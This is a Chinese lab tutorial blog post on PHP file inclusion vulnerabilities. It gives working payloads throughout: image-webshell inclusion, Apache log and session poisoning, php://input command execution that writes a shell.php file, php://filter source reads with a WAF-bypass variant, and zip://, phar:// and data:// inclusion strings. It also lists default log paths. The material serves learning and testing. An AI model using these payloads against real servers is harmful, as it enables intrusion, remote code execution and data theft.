文件包含漏洞特点和php封装伪协议

渗透学习

文件包含漏洞



前言

本系列用于记录本人渗透学习的过程,主要内容围绕Owasp TOP 10展开。

文件包含漏洞将用实验案例的方式介绍文件包含漏洞的成因特点,利用方法。在了解文件包含漏洞的危害的同时学习各类文件的包含、本地包含配合文件上传包含图片马和php封装伪协议。

本文只做学习用途,严禁利用本文提到的技术进行非法攻击,否则后果自负,本人不承担任何责任。

一、文件包含漏洞

文件包含指把可重复使用的函数写入到单个文件,在使用该函数时,直接调用此文件,无需再次编写函数。这一调用文件的过程被称为包含。

文件包含漏洞原理:在通过PHP函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意代码的注入。

文件包含函数:
include():找不到被包含文件时会产生警告
include_once():与include()类似,代码已经被包含则不会再次包含
require():找不到被包含的文件时会产生致命错误
require_once():与require()类似,代码已经被包含则不会再次包含

利用条件:
1.include等函数通过动态执行变量的方式引入需要包含的文件
2.用户能控制该动态变量

在包含php文件和未知后缀名的文件(xxx)时,由于文件内容符合PHP语法规则,代码都可以执行,除此之外,jpg文件、rar文件、txt文件、doc文件等,只要文件内容符合PHP语法规则,代码都可以执行。

文件包含漏洞可以分为LFI(本地文件包含)和RFI(远程文件包含)两种。区分二者最简单的办法就是通过查看php.ini中是否开启了allow_url_include。如果开启就有可能包含远程文件。

二、实验步骤

1.文件包含特点

访问include.php,文件包含环境
在这里插入图片描述
在浏览器中访问http://ip/include/include.php?page=01/1.jpg
在这里插入图片描述
在浏览器中访问http://ip/include/include.php?page=01/1.rar
在这里插入图片描述
在浏览器中访问http://ip/include/include.php?page=01/phpinfo.xxx
在这里插入图片描述
因此,只要文件内容符合PHP语法规则,代码都可以执行。

另外,也可以利用此漏洞读取敏感文件等

2.本地包含配合文件上传包含图片马

通过文件上传漏洞上传图片马(点击此补习文件上传知识),图片马不能解析,因此利用PHP文件包含漏洞解析图片马。如果网站同时存在文件包含漏洞,利用文件包含无视后缀名,只要被包含的文件内容符合PHP语法规范,任何扩展名都可以被PHP解析的特点来解析上传的图片马。

先新建要上传的1.php文件
在这里插入图片描述
再从网上下载一张图片在CMD制作图片马
在这里插入图片描述

上传图片马文件
在这里插入图片描述

问http://ip/up/upload/info.jpg,上传的脚本文件不能解析,因为图片马需要配合文件包含漏洞或者解析漏洞
在这里插入图片描述
访问http://ip/include/include.php?page=…/up/upload/info.jpg(…返回上一级目录),包含图片马,图片马成功解析
在这里插入图片描述
掌握文件上传+文件包含的组合漏洞,在绕过上传的检测时可以制作图片马上传,图片马上传成功不能直接解析,可以利用文件包含的特点进行解析图片马。

3.包含Apache日志文件

找到Apache路径,利用包含漏洞包含日志文件获取Webshell。
Apache两个日志文件:access.log、error.log
很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log

访问

?page=<?php phpinfo();?>

在access.log里出现记录
在这里插入图片描述
此时访问access.log
在这里插入图片描述
不会触发php脚本,因为<被编码无法生成。

解决方案:去BurpSuite里修改,在传入access.log里之前修改信息。

包含日志文件位置:
1.Apache+Linux日志默认路径
/etc/httpd/logs/access_log或/var/log/httpd/access log
2.Apache+Windows日志默认路径
XAMPP套件:xampp\apache\logs/access.log
phpStudy套件:phpStudy\Apache\logs/access/log
3.IIS6默认日志文件位置
C:WIDOWS\system32\Logfiles
4.IIS7默认日志文件位置
%SystemDrive%\inetpub\logs\LogFiles
5.Nginx日志默认位置
用户安装目录的logs目录下,也可以通过其配置文件nginx.conf,获取到日志的存在路径
6.SSH日志文件
ssh‘<?php phpinfo();?>'IP
7.session文件
在phpinfo页面的session.save_path参数处获取session文件路径
或者猜测常用路径:
/var/lib/php/sess_[PHPSESSID]
/tmp/sess_[PHPSESSID]

包含方法:
访问漏洞页面,在参数中构造payload:

session.php?a=<?php phpinfo();?>

然后通过BurpSuite抓包获取PHPSESSID,其文件名就是sess_[PHPSESSID],利用文件包含漏洞跨目录包含session文件。

4.PHP封装伪协议之php流input

通过文件包含漏洞,利用PHP封装伪协议,发送POST数据进行命令执行。

PHP有很多内置URL风格的封装协议,这类协议与fopen(),copy(),file_exists(),filesize()等文件系统函数所提供的功能类似。
这类协议有:
在这里插入图片描述
利用php流input中流的概念,将原来的文件流重定向到了用户可控的输入流中执行命令。(对allow_url_include:on,allow_url_fopen不做要求)

实验步骤:
访问http://ip/include/include.php?page=php://input,post data"<?php phpinfo();?>“,并发送数据执行。
在这里插入图片描述
发送”<?php system(‘dir’);?>"数据执行系统命令
在这里插入图片描述

发送"<?php system(‘whoami’);?>"数据执行系统命令
在这里插入图片描述

发送"<?php fputs(fopen(‘shell.php’,‘w’),’<?php phpinfo();?>’);?>"数据执行,生成shell脚本文件
在这里插入图片描述

访问http://ip/include/include.php?page=shell.php
在这里插入图片描述
利用PHP封装伪协议中的php流input,发送POST数据(可利用火狐的插件,也可以利用Burp Suite抓包修改数据包)进行命令执行,可以执行操作系统命令,也可以在服务器端生成木马文件,用Webshell管理工具连接木马文件。

5.PHP封装伪协议之php流filter

读取文件(对allow_url_include和allow_url_fopen都不做要求)

?page=php://filter/read=convert.base64-encode/resource=index.php

(index.php即想要读的文件)通过指定末尾的文件,可以读取base64加密后的文件源码,之后再base64解码一下就行,虽然不能直接获取到shell等,但能读取敏感文件危害也很大。
在这里插入图片描述
解码得:
在这里插入图片描述
其他姿势:

?page=php://filter/convert.base64-encode/resource=index.php

效果相同,少了read关键词,可以绕过一些waf

6.PHP封装伪协议之其他

对伪协议的用法总结如下:
在这里插入图片描述
zip://

?page=zip://C:/Users/40454/Desktop/text.jpg%23text.txt

先将要执行的PHP代码写好文件名为text.txt,将text.txt进行ZIP压缩,压缩文件名为text.zip,如果可以上传zip文件便直接上传,若不能便将text.zip重命名为text.jpg再上传,获取上传文件所在位置之后执行上述payload。

使用zip协议需要指定绝对路径,使用相对路径会包含失败;
同时将#编码为%23

phar://
利用姿势:
假如有个文件test.txt,打包成zip压缩包,指定绝对路径(或者使用相对路径)

?page=phar://C:/Users/40454/Desktop/text.zip%23text.txt

?page=phar://C:/Users/40454/Desktop/text.jpg%23text.txt

data://
命令执行(php版本大于等于5.2,allow_url_include和allow_url_fopen都为on的状态)

?page=data://text/palin,<?php phpinfo();?>

在这里插入图片描述

?page=data://text/palin;base64,PD9waHAgcGhwaW5mbygpPz4=

在这里插入图片描述


总结

以上结合实验案例介绍了文件包含漏洞的特点、文件包含漏洞和文件上传漏洞的组合使用使用图片马、包含日志文件等漏洞和php封装伪协议。包含了大部分常见的文件包含漏洞。总而言之,文件包含漏洞的一大特性是只要符合php的语法规则,代码就可以执行。

  • 7
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

bwxzdjn

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值